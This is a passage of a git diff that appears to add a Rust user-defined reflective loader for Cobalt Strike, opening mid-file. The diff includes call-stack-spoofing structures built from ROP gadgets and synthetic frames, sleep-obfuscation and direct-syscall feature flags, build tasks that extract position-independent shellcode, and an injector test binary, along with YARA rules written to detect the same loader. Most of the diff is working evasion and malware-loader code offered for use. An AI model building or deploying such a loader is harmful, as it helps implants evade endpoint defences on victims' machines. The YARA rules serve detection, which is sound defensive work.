UNWIND_CODE/UNWIND_INFO +//! +//! The `api` crate's `windows.rs` defines `UNWIND_CODE` as a flat struct: +//! ```text +//! struct UNWIND_CODE { CodeOffset: u8, UnwindOpAndInfo: u8 } +//! ``` +//! +//! UWD needs a **union** so the same 2-byte slot can be read as either: +//! - `Anonymous.OpAndInfo` - when parsing opcode/info bits +//! - `FrameOffset` - when reading a raw `u16` value (multi-slot opcodes) +//! +//! This matches how the Windows unwinder actually interprets these slots. +//! +//! # Memory layout of UNWIND_INFO in a PE +//! +//! ```text +//! ┌────────────────────────────┐ offset 0 +//! │ VersionAndFlags (u8) │ bits 0-2: version, bits 3-7: flags +//! │ SizeOfProlog (u8) │ prologue size in bytes +//! │ CountOfCodes (u8) │ number of UNWIND_CODE slots +//! │ FrameRegisterAndOffset(u8) │ bits 0-3: frame reg, bits 4-7: offset +//! ├────────────────────────────┤ offset 4 +//! │ UNWIND_CODE[0] (u16) │ first unwind operation +//! │ UNWIND_CODE[1] (u16) │ second (or extra data for [0]) +//! │ ... │ +//! │ UNWIND_CODE[n-1] (u16) │ last unwind operation +//! ├────────────────────────────┤ offset 4 + n*2 (aligned to 4 bytes) +//! │ ExceptionHandler (u32) │ if UNW_FLAG_EHANDLER set +//! │ - or - │ +//! │ RUNTIME_FUNCTION (12B) │ if UNW_FLAG_CHAININFO set (chained entry) +//! └────────────────────────────┘ +//! ``` +//! +//! # References +//! +//! - [Microsoft x64 exception handling](https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64) + +use core::ffi::c_void; + +/// Indicates the presence of an exception handler in the function. +pub const UNW_FLAG_EHANDLER: u8 = 0x1; + +/// Indicates the presence of an unwind handler in the function. +pub const UNW_FLAG_UHANDLER: u8 = 0x2; + +/// Indicates chained unwind information is present. +pub const UNW_FLAG_CHAININFO: u8 = 0x4; + +// ============================================================================ +// UNWIND_CODE +// ============================================================================ + +/// Union representing a single unwind operation code. +/// +/// Each UNWIND_CODE is 2 bytes (u16). It can be read as either: +/// - `FrameOffset`: raw u16 value (used by UWOP_ALLOC_LARGE as extra slot) +/// - `Anonymous`: structured CodeOffset + OpAndInfo fields +#[repr(C)] +pub union UNWIND_CODE { + /// Raw 16-bit frame offset (used as extra data by some opcodes). + pub FrameOffset: u16, + + /// Structured fields of the unwind code. + pub Anonymous: UNWIND_CODE_0, +} + +/// Structured fields of an UNWIND_CODE entry (2 bytes). +/// +/// ```text +/// Byte 0: CodeOffset - offset in prologue where this op applies +/// Byte 1: OpAndInfo - UnwindOp (bits 0-3) | OpInfo (bits 4-7) +/// ``` +#[repr(C)] +#[derive(Clone, Copy)] +pub struct UNWIND_CODE_0 { + /// Byte offset from the start of the prologue. + pub CodeOffset: u8, + /// UnwindOp (bits 0-3) and OpInfo (bits 4-7) packed together. + pub OpAndInfo: u8, +} + +impl UNWIND_CODE_0 { + /// The unwind operation code (lower 4 bits of `OpAndInfo`). + /// + /// # Returns + /// + /// One of the [`UNWIND_OP_CODES`] values (0-10). + #[inline(always)] + pub fn UnwindOp(&self) -> u8 { + self.OpAndInfo & 0x0F + } + + /// Additional operation-specific information (upper 4 bits of `OpAndInfo`). + /// + /// # Returns + /// + /// Meaning depends on the opcode: register index for PUSH_NONVOL, + /// allocation size encoding for ALLOC_SMALL, etc. + #[inline(always)] + pub fn OpInfo(&self) -> u8 { + (self.OpAndInfo >> 4) & 0x0F + } +} + +// ============================================================================ +// UNWIND_INFO +// ============================================================================ + +/// Unwind info header (4 bytes, followed by variable-length UNWIND_CODE array). +/// +/// UWD defines its own UNWIND_INFO that returns the union-based UNWIND_CODE +/// type (needed to read FrameOffset as raw u16 for multi-slot opcodes). +#[repr(C)] +#[derive(Clone, Copy)] +pub struct UNWIND_INFO { + /// Version (bits 0-2) and flags (bits 3-7). + pub VersionAndFlags: u8, + pub SizeOfProlog: u8, + pub CountOfCodes: u8, + /// Frame register (bits 0-3) and frame register offset (bits 4-7). + pub FrameRegisterAndOffset: u8, +} + +impl UNWIND_INFO { + /// Extract the flags field (bits 3-7 of `VersionAndFlags`). + /// + /// # Returns + /// + /// Combination of `UNW_FLAG_EHANDLER`, `UNW_FLAG_UHANDLER`, `UNW_FLAG_CHAININFO`. + #[inline] + pub fn flags(&self) -> u8 { + self.VersionAndFlags >> 3 + } + + /// Extract the frame register index (bits 0-3 of `FrameRegisterAndOffset`). + /// + /// # Returns + /// + /// Register index (0 = no frame register, 5 = RBP, etc.). + #[inline] + pub fn frame_register(&self) -> u8 { + self.FrameRegisterAndOffset & 0x0F + } + + /// Extract the frame register offset (bits 4-7 of `FrameRegisterAndOffset`). + /// + /// # Returns + /// + /// Scaled offset: actual displacement = `frame_offset() * 16`. + #[inline] + pub fn frame_offset(&self) -> u8 { + self.FrameRegisterAndOffset >> 4 + } + + /// Returns pointer to the UNWIND_CODE array (union-based). + /// + /// The array starts immediately after the 4-byte UNWIND_INFO header. + /// + /// # Safety + /// + /// `self` must point to a valid UNWIND_INFO in mapped PE memory. + #[inline(always)] + pub unsafe fn codes(&self) -> *const UNWIND_CODE { + (self as *const Self).add(1) as *const UNWIND_CODE + } + + /// Returns the chained `RUNTIME_FUNCTION` entry after the codes array. + /// + /// Only valid when `flags() & UNW_FLAG_CHAININFO != 0`. The chained entry + /// sits after the UNWIND_CODE array (aligned to 4 bytes). + /// + /// # Safety + /// + /// `self` must point to a valid UNWIND_INFO with `UNW_FLAG_CHAININFO` set. + #[inline(always)] + pub unsafe fn chained_entry(&self) -> *const ntdef::windows::IMAGE_RUNTIME_FUNCTION_ENTRY { + let count = self.CountOfCodes as usize; + let aligned = if count % 2 == 1 { count + 1 } else { count }; + self.codes().add(aligned) as *const ntdef::windows::IMAGE_RUNTIME_FUNCTION_ENTRY + } +} + +// ============================================================================ +// UNWIND_OP_CODES +// ============================================================================ + +/// Unwind operation codes used by the Windows x64 exception handling model. +/// +/// Each describes one prologue instruction that modifies RSP or saves a register: +/// - PUSH_NONVOL: push → +8 bytes +/// - ALLOC_LARGE: sub rsp, → +N bytes +/// - ALLOC_SMALL: sub rsp, → +(OpInfo+1)*8 bytes +/// - SET_FPREG: lea rbp, [rsp+offset] → sets frame pointer +/// - SAVE_NONVOL: mov [rsp+off], → no stack change +/// - SAVE_XMM128: movaps [rsp+off], → no stack change +/// - PUSH_MACH_FRAME: machine frame (interrupt) → +0x40 or +0x48 +#[repr(u8)] +#[allow(dead_code)] +pub enum UNWIND_OP_CODES { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE = 1, + UWOP_ALLOC_SMALL = 2, + UWOP_SET_FPREG = 3, + UWOP_SAVE_NONVOL = 4, + UWOP_SAVE_NONVOL_BIG = 5, + UWOP_EPILOG = 6, + UWOP_SPARE_CODE = 7, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128BIG = 9, + UWOP_PUSH_MACH_FRAME = 10, +} + +impl TryFrom for UNWIND_OP_CODES { + type Error = (); + + #[inline(always)] + fn try_from(value: u8) -> Result { + if value <= 10 { + Ok(unsafe { core::mem::transmute::(value) }) + } else { + Err(()) + } + } +} + +// ============================================================================ +// Registers +// ============================================================================ + +/// Enumeration of x86_64 general-purpose registers. +/// +/// Used to identify which register is pushed/saved in unwind codes. +/// The index matches the OpInfo field in UWOP_PUSH_NONVOL. +#[derive(Clone, Copy)] +#[repr(u8)] +#[allow(dead_code)] +pub enum Registers { + Rax = 0, + Rcx, + Rdx, + Rbx, + Rsp, + Rbp, + Rsi, + Rdi, + R8, + R9, + R10, + R11, + R12, + R13, + R14, + R15, +} + +impl PartialEq for Registers { + #[inline(always)] + fn eq(&self, other: &usize) -> bool { + *self as usize == *other + } +} + +// ============================================================================ +// Per-call frame rotation pool +// ============================================================================ + +/// Maximum number of candidates per rotation pool slot. +pub const POOL_SIZE: usize = 8; + +/// A pre-computed candidate for frame rotation. +/// +/// Stores the ready-to-use address and frame size that can be directly +/// written into Config fields. For prologs, `addr` is the fake return +/// address (function base + call instruction offset). For gadgets, +/// `addr` is the gadget address itself. +#[derive(Clone, Copy)] +#[repr(C)] +pub struct FrameCandidate { + /// Pre-computed address (return address for prologs, gadget address for gadgets). + pub addr: *const c_void, + /// Stack frame size. + pub size: u64, + /// RBP stack offset (only meaningful for second/push-rbp frames, 0 otherwise). + pub rbp_offset: u64, +} + +impl Default for FrameCandidate { + #[inline(always)] + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +/// Pool of pre-collected prolog/gadget candidates for per-call rotation. +/// +/// Built once during `build_config()`. Before each spoofed call, the +/// `spoof_uwd!` macro calls `rotate_config()` which picks different +/// candidates from this pool using the TSC (Time Stamp Counter) as a +/// per-call entropy source. This ensures every API call presents a +/// different intermediate call stack to the unwinder. +/// +/// Each pool slot contains up to `POOL_SIZE` candidates found by scanning +/// the source module's `.pdata` section during initialization. +#[derive(Clone, Copy)] +#[repr(C)] +pub struct FramePool { + /// SET_FPREG prolog candidates (for first_frame_fp / first_frame_size). + pub first_frames: [FrameCandidate; POOL_SIZE], + /// Number of valid entries in first_frames. + pub first_count: u8, + /// Push-RBP prolog candidates (for second_frame_fp / second_frame_size / rbp_stack_offset). + pub second_frames: [FrameCandidate; POOL_SIZE], + /// Number of valid entries in second_frames. + pub second_count: u8, + /// `jmp [rbx]` gadget candidates (for jmp_rbx_gadget / jmp_rbx_frame_size). + pub jmp_rbx: [FrameCandidate; POOL_SIZE], + /// Number of valid entries in jmp_rbx. + pub jmp_rbx_count: u8, + /// `add rsp, 0x58; ret` gadget candidates (for add_rsp_gadget / add_rsp_frame_size). + pub add_rsp: [FrameCandidate; POOL_SIZE], + /// Number of valid entries in add_rsp. + pub add_rsp_count: u8, +} + +impl Default for FramePool { + #[inline(always)] + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +// ============================================================================ +// Config (spoof call parameters passed to ASM stub) +// ============================================================================ + +/// Configuration structure passed to the spoof ASM routine (`SpoofSynthetic`). +/// +/// Contains all the information the assembly stub needs to build +/// synthetic stack frames and execute the spoofed call. Populated once +/// by `build_config()`, then reused across calls - only `spoof_function`, +/// `number_args`, and `arg01..arg11` change per call. +/// +/// # Memory layout (must match ASM STRUC exactly) +/// +/// ```text +/// Offset Size Rust field ASM field Description +/// ────── ──── ──────────────────── ────────────────────────── ──────────────────────── +/// 0x00 8 rtl_user_addr RtlUserThreadStartAddr Thread root address +/// 0x08 8 rtl_user_thread_size RtlUserThreadStartFrameSize Frame size (from .pdata) +/// 0x10 8 base_thread_addr BaseThreadInitThunkAddr 2nd thread frame address +/// 0x18 8 base_thread_size BaseThreadInitThunkFrameSize Frame size (from .pdata) +/// 0x20 8 first_frame_fp FirstFrame 1st spoofed ret addr +/// 0x28 8 second_frame_fp SecondFrame 2nd spoofed ret addr +/// 0x30 8 jmp_rbx_gadget JmpRbxGadget FF 23 gadget address +/// 0x38 8 add_rsp_gadget AddRspXGadget 48 83 C4 58 C3 gadget +/// 0x40 8 first_frame_size FirstFrameSize Stack alloc for 1st frame +/// 0x48 8 second_frame_size SecondFrameSize Stack alloc for 2nd frame +/// 0x50 8 jmp_rbx_frame_size JmpRbxGadgetFrameSize Frame size around gadget +/// 0x58 8 add_rsp_frame_size AddRspXGadgetFrameSize Frame size around gadget +/// 0x60 8 rbp_stack_offset RbpOffset Where RBP is saved +/// 0x68 8 spoof_function SpooFunction Target function to call +/// 0x70 8 return_address ReturnAddress (reserved) +/// 0x78 4 is_syscall IsSyscall (RESD 1) 0=normal, 1=syscall +/// 0x7C 4 ssn Ssn (RESD 1) Syscall number +/// 0x80 8 number_args NArgs (RESQ 1) Argument count +/// 0x88 8 arg01 Arg01 1st argument (rcx) +/// 0x90 8 arg02 Arg02 2nd argument (rdx) +/// ... ... ... ... ... +/// 0xD8 8 arg11 Arg11 11th argument (stack) +/// ``` +/// +/// # How the ASM stub uses this +/// +/// ```text +/// SpoofSynthetic(rcx = &mut Config): +/// +/// 1. Save callee-saved registers (rbp, rbx, r15) +/// 2. Allocate 0x210 bytes of working space +/// 3. Build synthetic stack (bottom-up): +/// push 0 ← null terminator (stack root) +/// sub rsp, RtlUserThread... ← frame for RtlUserThreadStart +/// push RtlUserThreadStart+0x21 ← fake return address +/// sub rsp, BaseThread... ← frame for BaseThreadInitThunk +/// push BaseThreadInitThunk+0x14 ← fake return address +/// push FirstFrame ← 1st spoofed frame +/// plant RBP at RbpOffset ← link 1st→2nd frame for unwinder +/// push SecondFrame ← 2nd spoofed frame +/// push JmpRbxGadget ← stack pivot gadget +/// push AddRspXGadget ← cleanup gadget +/// 4. Load function args into registers (rcx, rdx, r8, r9, stack) +/// 5. jmp r11 ← call target (no CALL = no ret addr pushed) +/// 6. Target returns → hits add rsp gadget → hits jmp [rbx] → RestoreSynthetic +/// ``` +#[derive(Clone, Copy)] +#[repr(C)] +pub struct Config { + /// Address of RtlUserThreadStart (top of legitimate call chain). + pub rtl_user_addr: *const c_void, + + /// Stack size of RtlUserThreadStart frame. + pub rtl_user_thread_size: u64, + + /// Address of BaseThreadInitThunk (second frame in chain). + pub base_thread_addr: *const c_void, + + /// Stack size of BaseThreadInitThunk frame. + pub base_thread_size: u64, + + /// First (fake) return address frame. + pub first_frame_fp: *const c_void, + + /// Second (ROP) return address frame. + pub second_frame_fp: *const c_void, + + /// Gadget: `jmp [rbx]`. + pub jmp_rbx_gadget: *const c_void, + + /// Gadget: `add rsp, X; ret`. + pub add_rsp_gadget: *const c_void, + + /// Stack size of first spoofed frame. + pub first_frame_size: u64, + + /// Stack size of second spoofed frame. + pub second_frame_size: u64, + + /// Stack frame size where the `jmp [rbx]` gadget resides. + pub jmp_rbx_frame_size: u64, + + /// Stack frame size where the `add rsp, X` gadget resides. + pub add_rsp_frame_size: u64, + + /// Offset on the stack where `rbp` is pushed. + pub rbp_stack_offset: u64, + + /// The function to be spoofed / called. + pub spoof_function: *const c_void, + + /// Return address (used as stack-resume point after call). + pub return_address: *const c_void, + + /// Whether the target is a syscall (0 = no, 1 = yes). + /// Matches ASM STRUC: `IsSyscall RESD 1` (4 bytes at offset 0x78). + pub is_syscall: u32, + + /// System Service Number (SSN) for direct syscalls. + /// Matches ASM STRUC: `Ssn RESD 1` (4 bytes at offset 0x7C). + pub ssn: u32, + + /// Number of arguments to pass to the spoofed function. + /// Matches ASM STRUC: `NArgs RESQ 1` (8 bytes at offset 0x80). + pub number_args: u64, + pub arg01: *const c_void, + pub arg02: *const c_void, + pub arg03: *const c_void, + pub arg04: *const c_void, + pub arg05: *const c_void, + pub arg06: *const c_void, + pub arg07: *const c_void, + pub arg08: *const c_void, + pub arg09: *const c_void, + pub arg10: *const c_void, + pub arg11: *const c_void, + + // --- Rust-only fields below (not accessed by ASM) --- + /// Pool of prolog/gadget candidates for per-call rotation. + /// Populated by build_config, used by rotate_config before each spoofed call. + pub frame_pool: FramePool, +} + +impl Default for Config { + #[inline(always)] + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} diff --git a/doublepulsar.yar b/doublepulsar.yar new file mode 100644 index 0000000..2f38103 --- /dev/null +++ b/doublepulsar.yar @@ -0,0 +1,74 @@ +rule DoublePulsar_UDRL_Loader +{ + meta: + description = "Detects DoublePulsar Cobalt Strike UDRL (User-Defined Reflective Loader) shellcode" + author = "memN0ps" + date = "2026-03-15" + reference = "https://github.com/memN0ps/doublepulsar-rs" + license = "MIT" + + strings: + $entry = { 56 48 89 E6 48 83 E4 F0 48 83 EC 20 E8 05 00 00 00 48 89 F4 5E C3 } + $udrl_dll = "udrl.dll" + $entry_export = "Entry" + $tp_alloc_timer = "TpAllocTimer" + $tp_set_timer = "TpSetTimer" + $tp_alloc_wait = "TpAllocWait" + $tp_set_wait = "TpSetWait" + $convert_fiber = "ConvertThreadToFiber" + $switch_fiber = "SwitchToFiber" + $sysf032 = "SystemFunction032" + $rtl_create_heap = "RtlCreateHeap" + $rtl_walk_heap = "RtlWalkHeap" + $internet_connect = "InternetConnectA" + $set_valid_call = "SetProcessValidCallTargets" + $nt_queue_apc = "NtQueueApcThread" + $nt_test_alert = "NtTestAlert" + + condition: + $entry at 0 + and $udrl_dll and $entry_export + and $sysf032 + and $rtl_create_heap and $rtl_walk_heap + and ( + ($tp_alloc_timer and $tp_set_timer) or + ($tp_alloc_wait and $tp_set_wait) or + ($nt_queue_apc and $nt_test_alert) or + ($convert_fiber and $switch_fiber) + ) + and ($internet_connect or $set_valid_call) + and filesize > 50KB and filesize < 200KB +} + +rule DoublePulsar_UDRL_Strings +{ + meta: + description = "Detects DoublePulsar UDRL via unique string combinations" + author = "memN0ps" + date = "2026-03-15" + reference = "https://github.com/memN0ps/doublepulsar-rs" + license = "MIT" + + strings: + $udrl = "udrl.dll" + $sf032 = "SystemFunction032" + $sf040 = "SystemFunction040" + $sf041 = "SystemFunction041" + $tp_timer = "TpAllocTimer" + $tp_wait = "TpAllocWait" + $tp_pool = "TpAllocPool" + $heap_walk = "RtlWalkHeap" + $heap_create = "RtlCreateHeap" + $spoof = "EnumDateFormatsExA" + $valid_targets = "SetProcessValidCallTargets" + + condition: + $udrl + and ($sf032 and $sf040 and $sf041) + and ($tp_timer or $tp_wait) + and $tp_pool + and $heap_walk and $heap_create + and $spoof + and $valid_targets + and filesize > 50KB and filesize < 200KB +} diff --git a/image/diagram_different-locations-of-reflective-loader-1024x483.png b/image/diagram_different-locations-of-reflective-loader-1024x483.png new file mode 100644 index 0000000..3149932 Binary files /dev/null and b/image/diagram_different-locations-of-reflective-loader-1024x483.png differ diff --git a/udrl/.cargo/config.toml b/udrl/.cargo/config.toml new file mode 100644 index 0000000..71b0058 --- /dev/null +++ b/udrl/.cargo/config.toml @@ -0,0 +1,5 @@ +[target.x86_64-pc-windows-gnu] +# Use system mingw from apt + +[target.i686-pc-windows-gnu] +# Use system mingw from apt \ No newline at end of file diff --git a/udrl/.cargo/config.toml.windows b/udrl/.cargo/config.toml.windows new file mode 100644 index 0000000..8fcdb73 --- /dev/null +++ b/udrl/.cargo/config.toml.windows @@ -0,0 +1,7 @@ +[target.x86_64-pc-windows-gnu] +linker = "C:/mingw64/bin/gcc.exe" +ar = "C:/mingw64/bin/ar.exe" + +[target.i686-pc-windows-gnu] +# No custom linker - Rust will look for i686-w64-mingw32-gcc in PATH +ar = "C:/mingw32/bin/ar.exe" diff --git a/udrl/Cargo.lock b/udrl/Cargo.lock new file mode 100644 index 0000000..7b5a50d --- /dev/null +++ b/udrl/Cargo.lock @@ -0,0 +1,64 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "api" +version = "0.1.0" +dependencies = [ + "ntdef", + "uwd", +] + +[[package]] +name = "cc" +version = "1.2.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a0dd1ca384932ff3641c8718a02769f1698e7563dc6974ffd03346116310423" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "hypnus" +version = "0.1.0" +dependencies = [ + "api", + "ntdef", + "uwd", +] + +[[package]] +name = "ntdef" +version = "0.1.0" + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "udrl" +version = "0.1.0" +dependencies = [ + "api", + "cc", + "hypnus", + "uwd", +] + +[[package]] +name = "uwd" +version = "0.1.0" +dependencies = [ + "cc", + "ntdef", +] diff --git a/udrl/Cargo.toml b/udrl/Cargo.toml new file mode 100644 index 0000000..a1270ef --- /dev/null +++ b/udrl/Cargo.toml @@ -0,0 +1,57 @@ +[package] +name = "udrl" +version = "0.1.0" +edition = "2021" + +[lib] +name = "udrl" +crate-type = ["staticlib", "cdylib"] + + +[build-dependencies] +cc = "1.0" + +[dependencies] +# Low-level Windows API abstraction (DJB2 hash resolution, no_std wrappers) +api = { path = "../crates/api", default-features = false } + +# UWD call stack spoofing (synthetic frames, .pdata parsing, ASM stub) +uwd = { path = "../crates/uwd", default-features = false } + +# Sleep obfuscation (Ekko/Foliage/Zilean/XOR encrypt-sleep-decrypt) +hypnus = { path = "../crates/hypnus", default-features = false } + +[features] +default = ["sleep-ekko", "spoof-uwd"] + +# Sleep techniques — choose one (or more) +# Each supports both thread mode and fiber mode (ConvertThreadToFiber/SwitchToFiber) +# Fiber mode isolates the sleep context from the main thread's stack +sleep-ekko = ["hypnus/sleep-ekko"] # Timer-based (TpAllocTimer/TpSetTimer) + RC4 + NtContinue chain + fiber support +sleep-foliage = ["hypnus/sleep-foliage"] # APC-based (NtQueueApcThread) + RC4 + NtContinue chain + fiber support +sleep-zilean = ["hypnus/sleep-zilean"] # Wait-based (TpAllocWait/TpSetWait) + RC4 + NtContinue chain + fiber support +sleep-xor = ["hypnus/sleep-xor"] # XOR section masking + plain Sleep (no CONTEXT chain, no fiber mode) + +# Call stack spoofing — enables UWD synthetic frame construction +# Both api AND uwd need the flag: api uses it for #[cfg] on spoof macro dispatch, +# uwd uses it to compile the ASM stub and frame-building code +spoof-uwd = ["uwd/spoof-uwd", "api/spoof-uwd"] + +# Direct syscall dispatch — requires spoof-uwd +# Both api AND uwd need the flag: api uses it for #[cfg] on spoof_syscall! paths, +# uwd uses it to compile the SSN resolution module (Hell's/Halo's/Tartarus Gate) +spoof-syscall = ["uwd/spoof-syscall", "api/spoof-syscall"] + +# Debug output +debug-console = ["api/debug-console", "hypnus/debug-console"] # AllocConsole + WriteConsoleA logging +debug-dbgprint = ["api/debug-dbgprint", "hypnus/debug-dbgprint"] # DbgPrint output (visible in WinDbg) + +[profile.release] +opt-level = "z" +lto = true +codegen-units = 1 +panic = "abort" +strip = true + +[profile.dev] +panic = "abort" diff --git a/udrl/Makefile.toml b/udrl/Makefile.toml new file mode 100644 index 0000000..91aaad1 --- /dev/null +++ b/udrl/Makefile.toml @@ -0,0 +1,273 @@ +# ============================================================================ +# UDRL (User-Defined Reflective Loader) Build Configuration +# ============================================================================ +# +# This Makefile.toml defines build tasks for cargo-make to compile the +# reflective loader for both x64 and x86 architectures. +# +# USAGE: +# cargo make - Build x64 + x86 release + injector +# cargo make x64 - Build x64 release only +# cargo make x86 - Build x86 release only +# cargo make debug - Build x64 + x86 debug (with logging) +# cargo make x64-debug - Build x64 debug only +# cargo make x86-debug - Build x86 debug only +# cargo make injector - Build injector test binary only +# cargo make test - Build everything (release + injector) +# cargo make clean - Clean all build artifacts +# +# OUTPUT: +# bin/AceLdr.x64.bin - x64 reflective loader shellcode (.text section) +# bin/AceLdr.x86.bin - x86 reflective loader shellcode (.text section) +# bin/injector.exe - Test injector for shellcode +# +# CUSTOMIZATION: +# - Change OUTPUT_NAME to customize output filename +# - Modify OBJCOPY_X64/X86 paths if using different MinGW installations +# - Use debug-dbgprint,debug-console features for full debug output during development +# +# BUILD PROCESS: +# 1. Compile Rust+assembly → DLL (linker script enforces memory layout) +# 2. Extract .text section → raw shellcode binary (position-independent) +# 3. Shellcode is ready to be embedded or injected +# +# ============================================================================ + +# Disable cargo-make's built-in tasks (we define everything explicitly) +[config] +skip_core_tasks = true + +# ============================================================================ +# ENVIRONMENT VARIABLES +# ============================================================================ +[env] +NAME = "udrl" +BIN_DIR = "bin" + +# OUTPUT_NAME: Customize the output filename for the shellcode binaries +# Default: "Titan" → produces Titan.x64.bin and Titan.x86.bin +OUTPUT_NAME = "Titan" + +# OBJCOPY TOOL PATHS +# objcopy is used to extract the .text section from the compiled DLL. +# Choose the appropriate paths for your platform: + +# --- Windows (Native MinGW) --- +# Uncomment these if you have MinGW installed directly on Windows +# OBJCOPY_X64 = "C:/mingw64/bin/objcopy.exe" +# OBJCOPY_X86 = "C:/mingw32/bin/objcopy.exe" + +# --- Linux / WSL (MinGW Cross-Compiler) --- +# Use these on Ubuntu/WSL with mingw-w64 cross-compiler packages +OBJCOPY_X64 = "x86_64-w64-mingw32-objcopy" +OBJCOPY_X86 = "i686-w64-mingw32-objcopy" + +# ============================================================================ +# CREATE DIRECTORIES +# ============================================================================ +# Creates the bin/ directory if it doesn't exist. +# This task runs as a dependency before any build tasks. +[tasks.dirs] +script_runner = "@duckscript" +script = ''' +if not is_path_exists ${BIN_DIR} + mkdir ${BIN_DIR} +end +''' + +# ============================================================================ +# x64 RELEASE BUILD +# ============================================================================ +# Builds the x64 reflective loader in release mode (no debug logging). +# The output is a position-independent shellcode binary. + +# Step 1: Compile Rust + assembly → DLL with custom linker script +# RUSTFLAGS: +# --image-base=0x0 - No preferred base address (position-independent) +# -Tscripts/linker.ld - Custom linker script for section ordering +[tasks.x64-build] +dependencies = ["dirs"] +command = "cargo" +args = ["build", "--release", "--target", "x86_64-pc-windows-gnu"] +env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" } + +# Step 2: Extract .text section from DLL → raw shellcode binary +# objcopy --dump-section extracts only the .text section (code + data) +# This produces a position-independent shellcode file ready for injection +[tasks.x64-extract] +dependencies = ["x64-build"] +command = "${OBJCOPY_X64}" +args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x64.bin", "target/x86_64-pc-windows-gnu/release/udrl.dll"] + +# Final task: Print completion message +[tasks.x64] +dependencies = ["x64-extract"] +script_runner = "@duckscript" +script = "echo x64 release build complete" + +# ============================================================================ +# x64 DEBUG BUILD +# ============================================================================ +# Builds the x64 reflective loader with debug logging enabled. +# Enables both debug-dbgprint (WinDbg) and debug-console (AllocConsole) output. + +# Step 1: Compile with debug-logging feature +# --features debug-dbgprint,debug-console enables both DbgPrint (WinDbg/kd) and AllocConsole output +[tasks.x64-debug-build] +dependencies = ["dirs"] +command = "cargo" +args = ["build", "--release", "--features", "debug-dbgprint,debug-console", "--target", "x86_64-pc-windows-gnu"] +env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" } + +# Step 2: Extract .text section → debug shellcode binary +[tasks.x64-debug-extract] +dependencies = ["x64-debug-build"] +command = "${OBJCOPY_X64}" +args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x64.bin", "target/x86_64-pc-windows-gnu/release/udrl.dll"] + +# Final task: Print completion message +[tasks.x64-debug] +dependencies = ["x64-debug-extract"] +script_runner = "@duckscript" +script = "echo x64 debug build complete" + +# ============================================================================ +# x86 RELEASE BUILD +# ============================================================================ +# Builds the x86 (32-bit) reflective loader in release mode. +# The output is a position-independent shellcode binary for 32-bit targets. + +# Step 1: Compile Rust + assembly → DLL (i686 target) +[tasks.x86-build] +dependencies = ["dirs"] +command = "cargo" +args = ["build", "--release", "--target", "i686-pc-windows-gnu"] +env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" } + +# Step 2: Extract .text section → x86 shellcode binary +[tasks.x86-extract] +dependencies = ["x86-build"] +command = "${OBJCOPY_X86}" +args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x86.bin", "target/i686-pc-windows-gnu/release/udrl.dll"] + +# Final task: Print completion message +[tasks.x86] +dependencies = ["x86-extract"] +script_runner = "@duckscript" +script = "echo x86 release build complete" + +# ============================================================================ +# x86 DEBUG BUILD +# ============================================================================ +# Builds the x86 (32-bit) reflective loader with debug logging enabled. + +# Step 1: Compile with debug-dbgprint + debug-console features (i686 target) +[tasks.x86-debug-build] +dependencies = ["dirs"] +command = "cargo" +args = ["build", "--release", "--features", "debug-dbgprint,debug-console", "--target", "i686-pc-windows-gnu"] +env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" } + +# Step 2: Extract .text section → x86 debug shellcode binary +[tasks.x86-debug-extract] +dependencies = ["x86-debug-build"] +command = "${OBJCOPY_X86}" +args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x86.bin", "target/i686-pc-windows-gnu/release/udrl.dll"] + +# Final task: Print completion message +[tasks.x86-debug] +dependencies = ["x86-debug-extract"] +script_runner = "@duckscript" +script = "echo x86 debug build complete" + +# ============================================================================ +# CLEAN TASK +# ============================================================================ +# Removes all build artifacts (cargo build output + bin/ directory contents). +# Overrides cargo-make's built-in clean task with custom logic. +# +# What gets cleaned: +# - target/ directory (via cargo clean) +# - bin/*.bin files (shellcode binaries) +# - bin/*.exe files (injector executable) +[tasks.clean] +clear = true +script_runner = "@duckscript" +script = ''' +# Clean cargo build artifacts +exec cargo clean + +# Resolve bin path relative to project root (works from any directory) +root = get_env CARGO_MAKE_WORKING_DIRECTORY +bin_path = join_path ${root} ${BIN_DIR} + +# Remove all .bin files (shellcode binaries) +bin_files = glob_array ${bin_path}/*.bin +for file in ${bin_files} + rm ${file} +end + +# Remove all .exe files (injector) +exe_files = glob_array ${bin_path}/*.exe +for file in ${exe_files} + rm ${file} +end + +echo Cleaned bin artifacts +''' + +# ============================================================================ +# DEBUG TASK +# ============================================================================ +# Builds both x64 and x86 debug versions (with logging) + injector. +# Equivalent to: cargo make x64-debug && cargo make x86-debug && cargo make injector +[tasks.debug] +dependencies = ["x64-debug", "x86-debug", "injector"] + +# ============================================================================ +# INJECTOR TEST BINARY +# ============================================================================ +# Builds a test injector (examples/injector.rs) for testing the shellcode. +# The injector allocates memory, writes shellcode, and executes it. + +# Step 1: Build injector example as standard Windows executable +# Note: Clears RUSTFLAGS because injector doesn't use custom linker script +[tasks.injector-build] +dependencies = ["dirs"] +script_runner = "@duckscript" +script = ''' +# Build the injector example (doesn't use linker script) +set_env RUSTFLAGS "" +exec cargo build --release --example injector --target x86_64-pc-windows-gnu 